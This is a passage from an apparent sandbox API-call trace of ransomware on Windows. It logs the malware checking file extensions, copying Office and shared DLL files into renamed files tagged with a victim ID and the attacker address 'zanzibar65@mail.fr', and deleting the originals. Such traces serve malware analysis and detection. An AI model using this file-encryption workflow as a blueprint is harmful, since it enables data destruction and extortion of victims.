(lpString1=".pdf", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString=".xls") returned 4 [0058.102] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString=".xlsx") returned 5 [0058.102] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0058.102] lstrlenW (lpString=".ppt") returned 4 [0058.102] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.102] lstrlenW (lpString=".zip") returned 4 [0058.102] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString=".rar") returned 4 [0058.102] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.102] lstrlenW (lpString=".bz2") returned 4 [0058.102] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.102] lstrlenW (lpString=".7z") returned 3 [0058.102] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.102] lstrlenW (lpString=".dbf") returned 4 [0058.102] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.102] lstrlenW (lpString=".1cd") returned 4 [0058.102] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll") returned 61 [0058.102] lstrlenW (lpString=".jpg") returned 4 [0058.102] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.103] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0058.103] lstrlenW (lpString="tipresx.dll") returned 11 [0058.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.103] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=12288) returned 1 [0058.103] CloseHandle (hObject=0x220) returned 1 [0058.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0058.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0058.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0058.104] lstrlenW (lpString=".doc") returned 4 [0058.104] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.104] lstrlenW (lpString=".docx") returned 5 [0058.104] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0058.104] lstrlenW (lpString=".pdf") returned 4 [0058.104] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.104] lstrlenW (lpString=".xls") returned 4 [0058.104] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.104] lstrlenW (lpString=".xlsx") returned 5 [0058.104] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0058.104] lstrlenW (lpString=".ppt") returned 4 [0058.104] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0058.104] lstrlenW (lpString=".zip") returned 4 [0058.104] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.104] lstrlenW (lpString=".rar") returned 4 [0058.104] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.104] lstrlenW (lpString=".bz2") returned 4 [0058.104] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.104] lstrlenW (lpString=".7z") returned 3 [0058.104] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll") returned 62 [0058.104] lstrlenW (lpString=".dbf") returned 4 [0058.104] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.109] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.109] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.109] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0058.110] GetLastError () returned 0x0 [0058.110] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x665a0, lpOverlapped=0x0) returned 1 [0058.352] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x665b0, lpOverlapped=0x0) returned 1 [0058.361] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0058.361] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xe6, lpOverlapped=0x0) returned 1 [0058.361] SetEndOfFile (hFile=0x254) returned 1 [0058.361] CloseHandle (hObject=0x254) returned 1 [0058.361] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.361] SetEndOfFile (hFile=0x220) returned 1 [0058.365] CloseHandle (hObject=0x220) returned 1 [0058.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.365] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0058.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.366] lstrlenW (lpString=".doc") returned 4 [0058.366] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.366] lstrlenW (lpString=".docx") returned 5 [0058.366] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0058.366] lstrlenW (lpString=".pdf") returned 4 [0058.366] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.366] lstrlenW (lpString=".xls") returned 4 [0058.366] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.366] lstrlenW (lpString=".xlsx") returned 5 [0058.366] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0058.366] lstrlenW (lpString=".ppt") returned 4 [0058.366] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.366] lstrlenW (lpString=".zip") returned 4 [0058.366] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.366] lstrlenW (lpString=".rar") returned 4 [0058.366] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.366] lstrlenW (lpString=".bz2") returned 4 [0058.366] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.366] lstrlenW (lpString=".7z") returned 3 [0058.366] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.366] lstrlenW (lpString=".dbf") returned 4 [0058.366] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.366] lstrlenW (lpString=".1cd") returned 4 [0058.366] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.366] lstrlenW (lpString=".jpg") returned 4 [0058.367] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.367] lstrlenW (lpString=".doc") returned 4 [0058.367] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString=".docx") returned 5 [0058.367] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0058.367] lstrlenW (lpString=".pdf") returned 4 [0058.367] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString=".xls") returned 4 [0058.367] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString=".xlsx") returned 5 [0058.367] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0058.367] lstrlenW (lpString=".ppt") returned 4 [0058.367] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.367] lstrlenW (lpString=".zip") returned 4 [0058.367] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString=".rar") returned 4 [0058.367] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.367] lstrlenW (lpString=".bz2") returned 4 [0058.367] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.367] lstrlenW (lpString=".7z") returned 3 [0058.367] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.367] lstrlenW (lpString=".dbf") returned 4 [0058.367] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.367] lstrlenW (lpString=".1cd") returned 4 [0058.367] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL") returned 72 [0058.368] lstrlenW (lpString=".jpg") returned 4 [0058.368] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.368] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".html") returned 1 [0058.368] lstrlenW (lpString="MSOINTL.DLL.IDX_DLL") returned 19 [0058.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.368] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=55680) returned 1 [0058.368] CloseHandle (hObject=0x220) returned 1 [0058.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 0x20 [0058.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.369] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.369] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0058.370] GetLastError () returned 0x0 [0058.370] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xd980, lpOverlapped=0x0) returned 1 [0058.374] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xd990, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xd990, lpOverlapped=0x0) returned 1 [0058.375] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0058.375] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xfa, lpOverlapped=0x0) returned 1 [0058.376] SetEndOfFile (hFile=0x254) returned 1 [0058.376] CloseHandle (hObject=0x254) returned 1 [0058.376] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.376] SetEndOfFile (hFile=0x220) returned 1 [0058.377] CloseHandle (hObject=0x220) returned 1 [0058.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0058.377] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll.idx_dll")) returned 1 [0058.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.377] lstrlenW (lpString=".doc") returned 4 [0058.377] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0058.377] lstrlenW (lpString=".docx") returned 5 [0058.378] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0058.378] lstrlenW (lpString=".pdf") returned 4 [0058.378] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString=".xls") returned 4 [0058.378] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString=".xlsx") returned 5 [0058.378] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0058.378] lstrlenW (lpString=".ppt") returned 4 [0058.378] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.378] lstrlenW (lpString=".zip") returned 4 [0058.378] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString=".rar") returned 4 [0058.378] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString=".bz2") returned 4 [0058.378] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString=".7z") returned 3 [0058.378] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.378] lstrlenW (lpString=".dbf") returned 4 [0058.378] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.378] lstrlenW (lpString=".1cd") returned 4 [0058.378] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.378] lstrlenW (lpString=".jpg") returned 4 [0058.378] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0058.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.378] lstrlenW (lpString=".doc") returned 4 [0058.378] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString=".docx") returned 5 [0058.379] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0058.379] lstrlenW (lpString=".pdf") returned 4 [0058.379] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString=".xls") returned 4 [0058.379] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString=".xlsx") returned 5 [0058.379] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0058.379] lstrlenW (lpString=".ppt") returned 4 [0058.379] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.379] lstrlenW (lpString=".zip") returned 4 [0058.379] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString=".rar") returned 4 [0058.379] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString=".bz2") returned 4 [0058.379] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString=".7z") returned 3 [0058.379] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.379] lstrlenW (lpString=".dbf") returned 4 [0058.379] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.379] lstrlenW (lpString=".1cd") returned 4 [0058.379] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0058.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL.IDX_DLL") returned 80 [0058.379] lstrlenW (lpString=".jpg") returned 4 [0058.379] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0058.379] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".html") returned 1 [0058.380] lstrlenW (lpString="MSOINTL.REST.IDX_DLL") returned 20 [0058.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.380] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2afff1c | out: lpFileSize=0x2afff1c*=1388416) returned 1 [0058.380] CloseHandle (hObject=0x220) returned 1 [0058.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 0x20 [0058.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0058.380] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0058.381] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.381] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0058.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0058.381] GetLastError () returned 0x0 [0058.381] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0xffff0, lpOverlapped=0x0) returned 1 [0058.519] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0058.595] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x52f90, lpOverlapped=0x0) returned 1 [0058.607] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0x52fa0, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0x52fa0, lpOverlapped=0x0) returned 1 [0058.615] ReadFile (in: hFile=0x220, lpBuffer=0x3610020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2affed4, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesRead=0x2affed4*=0x0, lpOverlapped=0x0) returned 1 [0058.615] WriteFile (in: hFile=0x254, lpBuffer=0x3610020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2affc9c, lpOverlapped=0x0 | out: lpBuffer=0x3610020*, lpNumberOfBytesWritten=0x2affc9c*=0xfc, lpOverlapped=0x0) returned 1 [0058.616] SetEndOfFile (hFile=0x254) returned 1 [0059.042] CloseHandle (hObject=0x254) returned 1 [0059.048] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affec8 | out: lpNewFilePointer=0x0) returned 1 [0059.049] SetEndOfFile (hFile=0x220) returned 1 [0059.139] CloseHandle (hObject=0x220) returned 1 [0059.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0059.143] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.rest.idx_dll")) returned 1 [0059.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.REST.IDX_DLL") returned 81 [0059.604] lstrlenW (lpString=".doc") returned 4 [0059.604] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0059.604] lstrlenW (lpString=".docx") returned 5 [0059.604] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0059.613] lstrlenW (lpString=".pdf") returned 4 [0059.633] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0059.633] lstrlenW (lpString=".xls") returned 4 [0059.633] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0059.633] lstrlenW (lpString=".xlsx") returned 5 [0059.633] 